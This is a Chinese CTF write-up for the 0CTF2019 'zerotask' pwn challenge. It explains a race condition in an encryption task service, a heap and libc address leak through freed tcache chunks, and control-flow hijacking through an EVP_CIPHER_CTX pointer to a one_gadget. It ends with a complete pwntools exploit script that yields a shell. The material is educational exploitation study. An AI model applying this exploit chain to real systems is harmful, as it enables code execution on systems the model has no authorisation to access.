1.前言
0CTF2019 pwn题zerotask,难度在pwn题里最低,漏洞类型条件竞争。
2.题目保护
全保护开启
3.题目功能
题目实现了一个加密解密的功能,共有三个功能项。
1.创建任务 2.删除任务 3.执行任务
a.创建任务
该功能创建一个0x80大小的结构体。暂时命名为task
task{+0x00, data +0x08, data_size
+0x14 ,KEY +0x34 IV
……..
+0x58 EVP_CIPHER_CTX
+0x60 task_id +0x68 单链表指针
}
要求输入为task_id(任务id),加密或解密,KEY(32字节),IV(16字节),DATA_SIZE(要加密或解密的数据长度),DATA(要加密或解密的数据)。
会根据DATA_SIZE malloc出对应大小的空间。DATA_SIZE<4096
同时EVP_CIPHER_CTX_new()函数会创建一个EVP_CIPHER_CTX 对象。
功能1,会顺序创建四个堆块。
结构体task 0x80大小
EVP_CIPHER_CTX 对象,0xb0大小
EVP_CIPHER_CTX 对象创建的堆块 0x110大小。
根据DATA_SIZE分配的堆块。大小<0x1000
b.删除任务
根据task_id及单链表删除指定结构体。
c.执行任务
根据task_id寻找到对应task结构,并根据task结构实现加密或解密,加密或解密后的数据保存在提前定义好的一处堆块中。
输出加密或解密后的内容。调用限制三次
线程启动后sleep(2).存在明显的条件竞争问题。
3.地址泄露
通过条件竞争实现地址泄露。
执行任务线程传入参数为task结构体地址。
利用思路:例如 提前free掉task2。调用功能3加密task1.在线程sleep期间,free掉task1.task1结构会进入tcache链表,+0x00的位置会被改写为另一个提前free的task2结构。同时若task1
中的DATA_SIZE足够大,则会将task2的结构内容及EVP_CIPHER_CTX 对象,EVP_CIPHER_CTX 对象创建的堆块,根据task2,DATA_SIZE分配的堆块全部加密输出。
将输出再重新新建一个任务保持相同密钥解密,可以实现地址泄露。
利用难点及克服方法:
1.程序给的libc为2.27版本,存在tcache机制,泄露时要求task结构体free后进入tcache链表,根据DATA_SIZE分配的堆块进入unsorted_bin链表。由于只有一次泄露
的机会必须将heap地址和libc地址一并泄露。分配方法,DATA_SIZE设置为0x110同EVP_CIPHER_CTX 对象创建的堆块大小一致,创建4个后释放。此时共释放了4个0x80
大小堆块。8个0x110大小堆块。
2.如上例再free task1后EVP_CIPHER_CTX 对象会被释放。导致加密出现异常。若重新创建任务会导致task1结构体被重新malloc。克服方法。
free(1)
free(2)
free(3)
ad(0xa0)
ad(0x8)
EVP_CIPHER_CTX 对象为0xb0大小,共创建了2个0x80结构,3个0xb0结构。此时task1结构未被malloc,里面的EVP_CIPHER_CTX 对象被重新创建。
EVP_CipherUpdate为加密函数。rdi为EVP_CIPHER_CTX对象,rcx为被加密数据的堆块。r8为加密大小。可以看到加密数据中已包含堆地址及libc地址。
4.代码执行
有了libc地址需要找到办法控制程序流程跳转到one_gadget,但是程序功能中未找到可用的内存写功能。加密及解密的数据都放在了一个提前定义好的堆块中。
条件竞争并不能帮助我们写地址。
通过追踪程序加密函数EVP_CipherUpdate,根据EVP_CIPHER_CTX 对象+0x10数据判断加密还是解密。
我选择跟进加密流程EVP_EncryptUpdate。里面有一处相对调用。这里将EVP_CIPHER_CTX +0x0结构随意命名为E。
程序会调用E结构+0x20处的指,前提是通过test,[e+0x12],0x10。利用方法就一目了然了,通过条件竞争重新分配EVP_CIPHER_CTX对象,使其E结构指向一处堆块。
在堆块中布局使[E+0x20]指向one_gadget即可完成利用。
free(1)
free(2)
ad(‘0xa0’)
5.脚本
from pwn import *
import time
p=process('./task')
e=ELF('./libc-2.27.so')
#p=remote('111.186.63.201',10001)
p.readuntil('Choice:')
context(log_level='debug')
def ad(a,b,c,d,e,f):
p.writeline('1')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Encrypt(1) / Decrypt(2):')
p.writeline(b)
p.readuntil('Key :')
p.write(c)
p.readuntil('IV :')
p.write(d)
p.readuntil('Data Size :')
p.writeline(e)
p.readuntil('Data')
p.write(f)
p.readuntil('Choice:')
def de(a):
p.writeline('2')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
def go(a):
p.writeline('3')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
for i in range(0,4):
ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
ad('20','1','a'*32,'a'*16,'592','1'*592)
ad('21','1','a'*32,'a'*16,'8','1'*8)
ad('22','1','a'*32,'a'*16,'8','1'*8)
ad('23','1','a'*32,'a'*16,'8','1'*8)
ad('24','1','a'*32,'a'*16,'8','1'*8)
for i in range(0,4):
de(str(i))
go('20')
de('20')
de('21')
de('22')
ad('21','1','a'*32,'a'*16,'160','1'*160)
ad('22','1','a'*32,'a'*16,'8','1'*8)
p.readuntil('Ciphertext: n')
st=''
for i in range(0,38):
q=0
for ii in range(0,16):
zzz=p.read(3)
zz=chr(int(zzz[0:2],16))
st+=zz
if 'n'in zzz:
q=1
break
if q==0:
p.read(1)
ad('66','2','a'*32,'a'*16,str(len(st)),st)
go('66')
p.readuntil('Ciphertext: n')
z=p.readuntil('20 ')
z=chr(0x20)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
p.readuntil('11 01 ')
z=p.readuntil('na0 ')
z=chr(0xa0)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
libc=u64(z)-4111776
one=libc+0x10a38c
success(hex(libc))
success(hex(heap))
gdb.attach(p)
go('22')
de('22')
de('23')
ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)
success(hex(heap))
success(hex(libc))
p.interactive()
发表评论
您还未登录,请先登录。
登录